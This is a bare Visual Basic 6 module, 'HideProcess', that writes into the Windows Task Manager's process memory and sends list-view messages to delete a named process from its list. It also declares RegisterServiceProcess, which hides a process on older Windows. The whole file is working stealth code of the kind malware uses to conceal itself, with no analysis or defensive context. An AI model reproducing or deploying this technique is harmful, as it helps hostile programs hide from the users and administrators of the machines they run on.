Attribute VB_Name = "HideProcess" Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Public Declare Function FindWindowEx Lib "user32.dll" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long Public Declare Function VirtualAllocEx Lib "kernel32.dll" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long Public Declare Function CreateRemoteThread Lib "kernel32" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, ByVal lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadId As Long) As Long Public Declare Function WaitForSingleObject Lib "kernel32.dll" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long Public Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessID As Long) As Long Public Declare Function GetWindowThreadProcessId Lib "user32.dll" (ByVal hwnd As Long, ByRef lpdwProcessId As Long) As Long Public Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Long, ByVal lpBuffer As Long, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long Public Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Long, ByVal lpBuffer As Long, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long Public Declare Function VirtualFreeEx Lib "kernel32.dll" (ByVal hProcess As Long, ByRef lpAddress As Any, ByRef dwSize As Long, ByVal dwFreeType As Long) As Long Public Declare Function CloseHandle Lib "kernel32.dll" (ByVal hObject As Long) As Long Public Declare Function SendMessage Lib "user32.dll" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long Public Declare Function RegisterServiceProcess Lib "kernel32.dll" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long Public Declare Function GetCurrentProcessId Lib "kernel32.dll" () As Long Public Declare Function KillTimer Lib "user32.dll" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long Public Type bkh flag As Long psz As Long lParam As Long pt As Long vkDirection As Long End Type Public Sub Hide_Process(Name As String) On Error Resume Next Dim pName As Long Dim pType As Long Dim l As Long Dim Tid As Long Dim hTid As Long Dim Pid As Long Dim h As Long Dim i As Long Dim hProcess As Long Dim f As bkh Dim s As String Dim bkh() As Byte h = FindWindow(vbNullString, "Windows Task Manager") KillTimer h, 0 h = FindWindowEx(h, 0, "#32770", vbNullString) h = FindWindowEx(h, 0, "SysListView32", vbNullString) If h = 0 Then Exit Sub f.flag = 8 Or &H20 Call GetWindowThreadProcessId(h, Pid) hProcess = OpenProcess(1082, 0, Pid) bkh = StrConv(Name, vbFromUnicode) pName = VirtualAllocEx(hProcess, 0, Len(Name) + 1, &H1000, 4) WriteProcessMemory hProcess, pName, VarPtr(bkh(0)), Len(Name), l f.psz = pName pType = VirtualAllocEx(hProcess, 0, Len(f), &H1000, 4) WriteProcessMemory hProcess, pType, VarPtr(f.flag), Len(f), l i = SendMessage(h, &H1000 + 13, 0, pType) If i <> -1 Then SendMessage h, &H1000 + 8, i, 0 VirtualFreeEx hProcess, pType, Len(f), &H8000 VirtualFreeEx hProcess, pName, LenB(Name) + 1, &H8000 CloseHandle hTid End Sub